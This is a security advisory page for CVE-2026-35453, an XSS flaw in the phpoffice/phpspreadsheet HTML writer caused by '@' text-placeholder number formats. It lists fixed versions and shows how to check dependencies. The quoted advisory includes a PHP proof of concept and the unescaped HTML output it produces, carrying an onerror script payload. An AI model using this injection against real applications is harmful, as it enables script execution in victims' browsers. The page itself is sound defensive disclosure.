CVE-2026-35453: Phpoffice/phpspreadsheet Cross-Site Scripting Vulnerability

MODERATE
Advisory Identifier: GHSA-6wpp-88cp-7q68
CWE-80 CWE-79
Published
Advisory Summary

CVE-2026-35453 is a MODERATE cross-site scripting vulnerability (CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)) affecting Phpoffice/phpspreadsheet libraries in the Packagist ecosystem. The issue involves phpspreadsheet has xss via numberformat @ text substitution in html writer. Remediation is available by upgrading affected packages to version 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4.

CVE-2026-35453 at a Glance

CVE Identifier CVE-2026-35453
GHSA Identifier GHSA-6wpp-88cp-7q68
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
Affected Product Phpoffice/phpspreadsheet
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-35453

To remediate this vulnerability, upgrade all affected Phpoffice/phpspreadsheet dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phpoffice/phpspreadsheet fixed: 5.7.0
Upgrade phpoffice/phpspreadsheet to 5.7.0
phpoffice/phpspreadsheet fixed: 3.10.5
Upgrade phpoffice/phpspreadsheet to 3.10.5
phpoffice/phpspreadsheet fixed: 2.4.5
Upgrade phpoffice/phpspreadsheet to 2.4.5
phpoffice/phpspreadsheet fixed: 2.1.16
Upgrade phpoffice/phpspreadsheet to 2.1.16
phpoffice/phpspreadsheet fixed: 1.30.4
Upgrade phpoffice/phpspreadsheet to 1.30.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phpoffice/phpspreadsheet

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-35453, inspect your project dependencies for Phpoffice/phpspreadsheet:

inspect dependencies for phpoffice/phpspreadsheet

Analyze the terminal output to locate any version of Phpoffice/phpspreadsheet in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.7.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS), where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. In Phpoffice/phpspreadsheet, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The HTML Writer in PhpSpreadsheet bypasses `htmlspecialchars()` output escaping when a cell uses a custom number format containing the `@` text placeholder with additional literal text (e.g., `@ "items"` or `"Total: "@`). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file. ### Details #### 1. Conditional escaping in `Html.php:1586-1594` ```php $cellData = NumberFormat::toFormattedString( $origData2, $formatCode ?? NumberFormat::FORMAT_GENERAL, [$this, 'formatColor'] ); if ($cellData === $origData) { $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags()); } ``` `htmlspecialchars()` is only called when `$cellData === $origData` (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely. #### 2. Early return in `Formatter.php:136-152` ```php if (preg_match(self::SECTION_SPLIT, $format) === 0 && preg_match(self::SYMBOL_AT, $formatx) === 1) { if (!str_contains($format, '"')) { return str_replace('@', /* raw value */, $format); } return str_replace(/* ... preg_replace with raw value ... */); } ``` When the format code contains `@` with additional literal text (e.g., `@ "items"`), the formatter substitutes the raw cell value into the format string and **returns early** — the `formatColor` callback (which would have applied `htmlspecialchars`) is never invoked. ### PoC **test.php** ``` php <?php require '/app/vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Html; $spreadsheet = new Spreadsheet(); $sheet = $spreadsheet->getActiveSheet(); $payload = '<img src=x onerror=alert(document.domain)>'; $formatCode = '@ "items"'; $sheet->setCellValue('A1', $payload); $sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode); $writer = new Html($spreadsheet); $html = $writer->generateHTMLAll(); file_put_contents('/app/output.html', $html); echo "HTML output saved to /app/output.html\n"; ``` The produced output contains unescaped data. ``` html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="generator" content="PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet" /> <title>Untitled Spreadsheet</title> <meta name="author" content="Unknown Creator" /> <meta name="title" content="Untitled Spreadsheet" /> <meta name="lastModifiedBy" content="Unknown Creator" /> <meta name="created" content="2026-04-02T16:34:44+00:00" /> <meta name="modified" content="2026-04-02T16:34:44+00:00" /> <style type="text/css"> [..SNIP..] </style> </head> <body> <div style='page: page0'> <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'> <col class="col0" /> <tbody> <tr class="row0"> <td class="column0 style1 s"><img src=x onerror=alert(document.domain)> items</td> </tr> </tbody></table> </div> </body> </html> ``` <img width="719" height="716" alt="Screenshot 2026-04-02 at 18 45 53" src="https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe" /> ### Impact The impact changes based on the way the HTML is served. In case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.

CVE-2026-35453 Affected Phpoffice/phpspreadsheet Versions

5 component(s)
Fixed Versions:
5.7.03.10.52.4.52.1.161.30.4
Product / Package Ecosystem Affected Versions Fixed Version
phpoffice/phpspreadsheet
Packagist
≥ 4.0.0
< 5.7.0
5.7.0
phpoffice/phpspreadsheet
Packagist
≥ 3.3.0
< 3.10.5
3.10.5
phpoffice/phpspreadsheet
Packagist
≥ 2.2.0
< 2.4.5
2.4.5
phpoffice/phpspreadsheet
Packagist
≥ 2.0.0
< 2.1.16
2.1.16
phpoffice/phpspreadsheet
Packagist
< 1.30.4
1.30.4

References

Frequently Asked Questions

What is CVE-2026-35453?
CVE-2026-35453 is a security vulnerability in Phpoffice/phpspreadsheet involving PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS).
Which Phpoffice/phpspreadsheet versions are affected?
Affected versions include releases prior to 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4 across affected packages: phpoffice/phpspreadsheet.
What version fixes CVE-2026-35453?
Upgrading to 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phpoffice/phpspreadsheet affected?
Yes, phpoffice/phpspreadsheet is affected in releases prior to 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4. Upgrade your dependency to 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4 or later.
What CWE is associated with CVE-2026-35453?
CVE-2026-35453 is classified under CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.).
How can I check Packagist dependencies for CVE-2026-35453?
Run the dependency tree command: 'inspect dependencies for phpoffice/phpspreadsheet'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6wpp-88cp-7q68",
  "modified" : "2026-05-08T15:29:45Z",
  "published" : "2026-04-28T22:50:31Z",
  "aliases" : [ "CVE-2026-35453" ],
  "summary" : "PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer",
  "details" : "### Summary\nThe HTML Writer in PhpSpreadsheet bypasses `htmlspecialchars()` output escaping when a cell uses a custom number format containing the `@` text placeholder with additional literal text (e.g., `@ \"items\"` or `\"Total: \"@`). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.\n\n### Details\n\n\n#### 1. Conditional escaping in `Html.php:1586-1594`\n\n```php\n$cellData = NumberFormat::toFormattedString(\n    $origData2,\n    $formatCode ?? NumberFormat::FORMAT_GENERAL,\n    [$this, 'formatColor']\n);\n\nif ($cellData === $origData) {\n    $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());\n}\n```\n\n`htmlspecialchars()` is only called when `$cellData === $origData` (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.\n\n#### 2. Early return in `Formatter.php:136-152`\n\n```php\nif (preg_match(self::SECTION_SPLIT, $format) === 0\n    && preg_match(self::SYMBOL_AT, $formatx) === 1) {\n    if (!str_contains($format, '\"')) {\n        return str_replace('@', /* raw value */, $format);\n    }\n    return str_replace(/* ... preg_replace with raw value ... */);\n}\n```\n\nWhen the format code contains `@` with additional literal text (e.g., `@ \"items\"`), the formatter substitutes the raw cell value into the format string and **returns early** — the `formatColor` callback (which would have applied `htmlspecialchars`) is never invoked.\n\n\n### PoC\n\n**test.php**\n``` php\n<?php\n\nrequire '/app/vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Html;\n\n$spreadsheet = new Spreadsheet();\n$sheet = $spreadsheet->getActiveSheet();\n\n$payload    = '<img src=x onerror=alert(document.domain)>';\n$formatCode = '@ \"items\"';\n\n\n$sheet->setCellValue('A1', $payload);\n$sheet->getStyle('A1')->getNumberFormat()->setFormatCode($formatCode);\n\n$writer = new Html($spreadsheet);\n$html = $writer->generateHTMLAll();\n\nfile_put_contents('/app/output.html', $html);\n\necho \"HTML output saved to /app/output.html\\n\";\n```\n\nThe produced output contains unescaped data.\n``` html\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n  <head>\n      <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n      <meta name=\"generator\" content=\"PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet\" />\n      <title>Untitled Spreadsheet</title>\n      <meta name=\"author\" content=\"Unknown Creator\" />\n      <meta name=\"title\" content=\"Untitled Spreadsheet\" />\n      <meta name=\"lastModifiedBy\" content=\"Unknown Creator\" />\n      <meta name=\"created\" content=\"2026-04-02T16:34:44+00:00\" />\n      <meta name=\"modified\" content=\"2026-04-02T16:34:44+00:00\" />\n    <style type=\"text/css\">\n[..SNIP..]\n    </style>\n  </head>\n\n  <body>\n<div style='page: page0'>\n    <table border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'>\n        <col class=\"col0\" />\n        <tbody>\n          <tr class=\"row0\">\n            <td class=\"column0 style1 s\"><img src=x onerror=alert(document.domain)> items</td>\n          </tr>\n    </tbody></table>\n</div>\n  </body>\n</html>\n```\n\n<img width=\"719\" height=\"716\" alt=\"Screenshot 2026-04-02 at 18 45 53\" src=\"https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe\" />\n\n\n\n### Impact\n\nThe impact changes based on the way the HTML is served. \nIn case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "5.7.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.6.0"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.3.0"
      }, {
        "fixed" : "3.10.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.10.4"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.2.0"
      }, {
        "fixed" : "2.4.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.4.4"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.1.16"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.1.15"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.30.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.30.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6wpp-88cp-7q68"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35453"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79", "CWE-80" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-28T22:50:31Z",
    "nvd_published_at" : "2026-05-05T20:16:38Z"
  }
}